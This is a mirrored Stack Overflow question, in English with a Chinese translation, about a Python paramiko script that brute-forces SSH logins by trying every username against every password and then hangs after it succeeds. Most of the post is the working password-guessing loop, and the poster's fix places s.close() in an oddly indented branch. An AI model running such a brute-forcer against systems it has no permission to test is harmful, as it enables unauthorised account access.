简体   繁体   English

Python脚本似乎正在挂起

[英]Python script seems to be hanging

I have an SSH server that I've been testing a script that performs dictionary based attacks against. 我有一台SSH服务器,我一直在测试一个脚本,该脚本执行基于字典的攻击。 Generally, I use a single username:password combination file and loop through it, but recently I decided to modify my hobby script to allow for separate username and password combinations. 通常,我使用单个username:password组合文件并循环浏览,但是最近我决定修改自己的爱好脚本,以允许使用单独的用户名和密码组合。 I figured it would be a simple nested loop (I chose to store the passwords in a list instead of a file which I use for the usernames). 我认为这将是一个简单的嵌套循环(我选择将密码存储在列表中,而不是用于用户名的文件中)。 Unfortunately, adding that second loop seems to have caused the program to hang for some reason that I just can't pinpoint. 不幸的是,添加第二个循环似乎已导致程序挂起,原因是我无法查明。 I feel like I'm missing something incredibly obvious here. 我觉得我在这里遗漏了一些难以置信的东西。 The program execute fine and works as expected but it never seems to actually return...the script just hangs after finding the correct combination and never exits properly...I have to terminate it manually. 该程序可以正常执行并按预期工作,但似乎从未真正返回过……该脚本只是在找到正确的组合后挂起,并且从未正确退出过……我必须手动终止它。 The offending block is below...this is part of a larger method inside of a class I call from my primary script. 令人讨厌的代码块在下面...这是我从主脚本调用的类中较大方法的一部分。 The method is called and then the main script just exits so there's nothing there that would be causing this. 该方法被调用,然后主脚本退出,因此没有任何东西会导致这种情况。

with open(self.pwds) as p:
    pwords = p.read().splitlines()
    try:
        format_text = colored('WARNING', 'yellow', attrs=['underline'])
    except:
        format_text = "WARNING"
    print (format_text, "warning_message")
    with open(self.words) as w:
        for line in w:
            line = line.replace("\n", "")
            user = line
            for x in pwords:
                passw = x
                print ("Trying: ", user, ":", passw)
                s = paramiko.SSHClient()
                s.set_missing_host_key_policy(paramiko.AutoAddPolicy())
                try:
                    s.connect(self.target, username=user, password=passw, timeout=3)
                except paramiko.ssh_exception.AuthenticationException:
                    try:
                        format_text = colored('FAILED', 'red')
                    except:
                        format_text = 'FAILED'
                        print (format_text)
                else:
                    print ("SUCCESS!")
                    s.close()
                    return;

Thank you everyone for the attempts at solving this problem. 谢谢大家为解决这个问题所做的尝试。 I found the answer. 我找到了答案。 I needed to close the SSH connection even on fail as indicated below. 即使在失败的情况下,我也需要关闭SSH连接,如下所示。

                try:
                    s.connect(self.target, username=user, password=passw, timeout=3)
                except paramiko.ssh_exception.AuthenticationException:
                    try:
                        format_text = colored('FAILED', 'red')
                    except:
                        format_text = 'FAILED'
                        print (format_text)
                        s.close()
                else:
                    print ("SUCCESS!")
                    s.close()
                    return;

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM